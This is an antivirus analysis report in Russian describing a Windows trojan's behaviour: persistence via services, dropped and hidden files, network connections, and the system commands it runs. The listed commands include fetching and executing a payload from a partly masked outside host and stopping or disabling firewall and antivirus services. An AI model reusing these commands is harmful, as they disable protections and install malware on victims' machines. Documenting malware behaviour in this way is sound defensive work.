Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet002\Services\wscsvc] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\wscsvc] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\wupdmgr.exe http://la###.#y32.idcwind.net/soft/123456.txt 123456.txt
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\new.exe
- %PROGRAM_FILES%\GroupP\listen.exe -pxifangjileshijieguodu
- %HOMEPATH%\Start Menu\Programs\QQ·иЧУ.exe
- %WINDIR%\update .exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\new.exe (загружен из сети Интернет)
Запускает на исполнение:
- <SYSTEM32>\net1.exe stop SharedAccess
- <SYSTEM32>\net.exe stop SharedAccess
- <SYSTEM32>\net.exe stop kaccore
- <SYSTEM32>\net.exe stop KISSvc
- <SYSTEM32>\net1.exe stop kaccore
- <SYSTEM32>\attrib.exe -r -s -h -a boot.reg
- <SYSTEM32>\attrib.exe -r -s -h -a loadname.vbe
- %WINDIR%\regedit.exe /s boot.reg
- <SYSTEM32>\attrib.exe -r -s -h -a svchost.exe
- <SYSTEM32>\ping.exe 127.0.0.1 -n 2
- <SYSTEM32>\attrib.exe +r +s +h +a svchost.exe
- <SYSTEM32>\net1.exe stop KISSvc
- <SYSTEM32>\ping.exe www.ba##u.com -n 5
- <SYSTEM32>\sc.exe config KPfwSvc start= disabled
- <SYSTEM32>\ping.exe 127.0.0.1 -n 3
- <SYSTEM32>\ping.exe 127.0.0.1 -n 7
- <SYSTEM32>\ping.exe 127.0.0.1 -n 10
- <SYSTEM32>\sc.exe config KISSvc start= disabled
- <SYSTEM32>\net1.exe stop KPfwSvc
- <SYSTEM32>\net.exe stop KPfwSvc
- <SYSTEM32>\sc.exe config wscsvc start= auto
- <SYSTEM32>\sc.exe config kaccore start= disabled
- <SYSTEM32>\sc.exe config SharedAccess start= disabled
- <SYSTEM32>\taskkill.exe /f /im cmd.exe
- <SYSTEM32>\taskkill.exe /f /im ntvdm.exe
- <SYSTEM32>\taskkill.exe /f /im ping.exe
- <SYSTEM32>\taskkill.exe /f /im firefox.exe
- <SYSTEM32>\taskkill.exe /f /im vvisit.exe
- <SYSTEM32>\wscript.exe "%WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadwait.vbe"
- <SYSTEM32>\taskkill.exe /f /im wupdmgr.exe
- <SYSTEM32>\wscript.exe "%PROGRAM_FILES%\GroupP\file.VBE"
- <SYSTEM32>\wscript.exe "%PROGRAM_FILES%\GroupP\call.vbe"
- <SYSTEM32>\sc.exe config {DCEE1E2A-A5C0-4021-BD67-E2844085FA9B} start= disabled
- <SYSTEM32>\cmd.exe /c ""%PROGRAM_FILES%\GroupP\load.bat" "
- <SYSTEM32>\taskkill.exe /f /im Privoxy.exe
- <SYSTEM32>\taskkill.exe /f /im rsnetsvr.exe
- <SYSTEM32>\taskkill.exe /f /im rsreport.exe
- <SYSTEM32>\taskkill.exe /f /im RsMain.exe
- <SYSTEM32>\taskkill.exe /f /im CCenter.exe
- <SYSTEM32>\taskkill.exe /f /im RavTask.exe
- <SYSTEM32>\taskkill.exe /f /im RsStub.exe
- <SYSTEM32>\taskkill.exe /f /im wscript.exe
- <SYSTEM32>\cmd.exe /c ""%WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadboot.bat" "
- <SYSTEM32>\taskkill.exe /f /im waituser.exe
- <SYSTEM32>\taskkill.exe /f /im RsTray.exe
- <SYSTEM32>\taskkill.exe /f /im waht.exe
Завершает или пытается завершить
следующие пользовательские процессы:
- firefox.exe
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\boot.reg
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\wupdmgr.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadname.vbe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\boot.VBE
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadboot.bat
- %TEMP%\metallic.ini
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\svchost.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\explorer.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\4EQHKIIB\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\NKECL9YF\desktop.ini
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\123456.txt
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\GPE78LUV\123456[1].txt
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadwait.VBE
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\6AWRQ3F8\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\GPE78LUV\desktop.ini
- %PROGRAM_FILES%\Company\NewProduct\Uninstall.ini
- %PROGRAM_FILES%\Company\NewProduct\Uninstall.exe
- %TEMP%\E_N4\iext2.fne
- %TEMP%\E_N4\krnln.fnr
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- %WINDIR%\update .exe
- %HOMEPATH%\Start Menu\Programs\QQ·иЧУ.exe
- %PROGRAM_FILES%\GroupP\call.VBE
- %PROGRAM_FILES%\GroupP\load.TXT
- %HOMEPATH%\Start Menu\Programs\pf.skn
- %PROGRAM_FILES%\GroupP\file.VBE
- %TEMP%\E_N4\eAPI.fne
- %TEMP%\E_N4\shellEx.fne
- %PROGRAM_FILES%\GroupP\listen.TXT
- %TEMP%\E_N4\eSkin.fne
Присваивает атрибут 'скрытый' для следующих файлов:
- %WINDIR%\helpctr\wuem\maf\svchost.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadwait.VBE
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadname.vbe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\GPE78LUV\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\4EQHKIIB\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\NKECL9YF\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\6AWRQ3F8\desktop.ini
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\explorer.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadboot.bat
- %WINDIR%\update .exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\svchost.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\boot.VBE
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\boot.reg
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\wupdmgr.exe
Удаляет следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\4EQHKIIB\desktop.ini
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\boot.reg
- %PROGRAM_FILES%\GroupP\file.VBE
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\6AWRQ3F8\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\NKECL9YF\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\GPE78LUV\desktop.ini
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\GPE78LUV\123456[1].txt
- %TEMP%\metallic.ini
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- %HOMEPATH%\Start Menu\Programs\pf.skn
- %PROGRAM_FILES%\GroupP\call.VBE
- %PROGRAM_FILES%\GroupP\listen.exe
- %PROGRAM_FILES%\GroupP\load.bat
Перемещает следующие файлы:
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\svchost.exe в %WINDIR%\helpctr\wuem\maf\svchost.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\config.ini в %WINDIR%\WinSxS\Policies\Database\Themes\VVT\config.ini
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\123456.txt в %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\new.exe
- %PROGRAM_FILES%\GroupP\load.TXT в %PROGRAM_FILES%\GroupP\load.bat
- %PROGRAM_FILES%\GroupP\listen.TXT в %PROGRAM_FILES%\GroupP\listen.exe
- %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\loadname.vbe в %WINDIR%\pchealth\helpctr\Config\GroupPolicy\User\Scripts\config.ini
Сетевая активность:
Подключается к:
- 'la###.#y32.idcwind.net':80
- 'localhost':1038
TCP:
Запросы HTTP GET:
- la###.#y32.idcwind.net/soft/123456.txt
UDP:
- DNS ASK la###.#y32.idcwind.net
- DNS ASK www.ba##u.com
Другое:
Ищет следующие окна:
- ClassName: '' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
